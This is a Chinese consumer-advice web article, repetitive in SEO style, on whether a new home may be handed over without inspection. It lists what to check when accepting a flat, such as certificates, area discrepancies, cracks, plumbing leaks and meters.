没有验收的房子可以交房吗？

在购房者好不容易迎来了交房日期后，可能由于种种原因没有时间，或者说错过验房时间，那么此时没有验收的房子可以交房吗？针对这一问题，我们来深入探讨一下。首先，没有验收分为两种情况，一种是业主主动放弃验收交房步骤；另一种是交房物业没有提供验收资质和机会，就直接将房子交接给业主。其次，如果是第一种情况，那么无可厚非，今后业主家的房子要是除了一些问题，也只能协商解决，特别是一些影响住房的大问题上也是比较麻烦的事情，毕竟当初是业主自身的原因放弃验收房子。针对第二种情况，那么没有验收的房子可以交房吗？答案很明显，业主就要好好做一番功课了，一定要为自己的权益争取利益最大化，毕竟这是房子，尤其是首套房的业主。那么在没有验收的房子可以交房吗的问题上，需要注意以下几个验房的事项：第一，在物业通知验房时，可以不用第一时间到达现场，以免太多人挤在同一时间验收，相关的工作人员根本引导不过来。第二，在验房时，先要明确都要仔细检验哪一些重点，比如相关资料和表格需要取回和收好的，要一一做好相关记录和收纳，最好准备一个收纳文件袋，以免遗失。第三，在明确了验房的步骤之后，就要进入房子验收了，这包括：楼房的结构上，比如面积是否和之前合同上标注的一致，有没有出现简单装修后的裂缝等明显瑕疵。在排水与防水方面也需要仔细验收，比如查看厨房和卫生间的下水道是否排水正常和是否有漏水的现象等。最后，在没有验收的房子可以交房吗这个问题的处理上，一定要谨慎，毕竟一些人购买的房子是刚需的，况且交房时验收房子本就是业主的基本权利。

新房没验收可以交房吗？验收新房需要注意那些问题

近十几年来，越来越多的人热衷于买房上，这使房地产成了热门行业，不少朋友都购置了新房。那么您认为新房没验收可以交房吗？可以明确的告诉您不能！相关法律、法规明文规定，没有经过竣工验收和备案的房屋，不能交付使用。那么，验收新房时要注意那些问题呢？下面将详细解答新房没验收可以交房吗这个问题。第一、需要查验相关的证书和相关的图表，例如有《住宅质量保证书》、《住宅使用说明》、《竣工验收备案表》、面积实测表及管线分布竣工图等。从这些证书图表也回答了新房没验收可以交房吗这个问题！第二、注意核实面积是否与合同附图一致,结构与原设计图是否相同,房地产管理部门是否对房屋实际测量过,实测面积与合同签订面积存在多少差异。误差在2%左右,可以验收房子了。第三、需要实地检查的具体事项包括以下内容：1、检查房屋质量,比如门窗、阳台等有无开裂,门窗轨道推拉是否顺畅。2、检查墙壁是否平整、渗水、有无裂缝等。3、检查地板有无开裂或空鼓情况。4、检查水电煤气是否通畅能否正常使用。5、检查厨房、卫生间及阳台下水道的通水情况。6、检查厨房、卫生间及阳台地面是否漏水。7、检查水表电表是否空转,看清楚水表电表的数字,并记录下来。8、检查测量房屋楼层高度。朋友这样分析帮助您解决了新房没验收可以交房吗的问题了吧？同时清晰的分析了验收新房时应该注意的问题。其目的是在签字收房前发现问题，这样才能更好的解决发现的问题。衷心希望帮助您解决了没有验收的新房可以收房了吗的问题！祝您验收愉快！ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();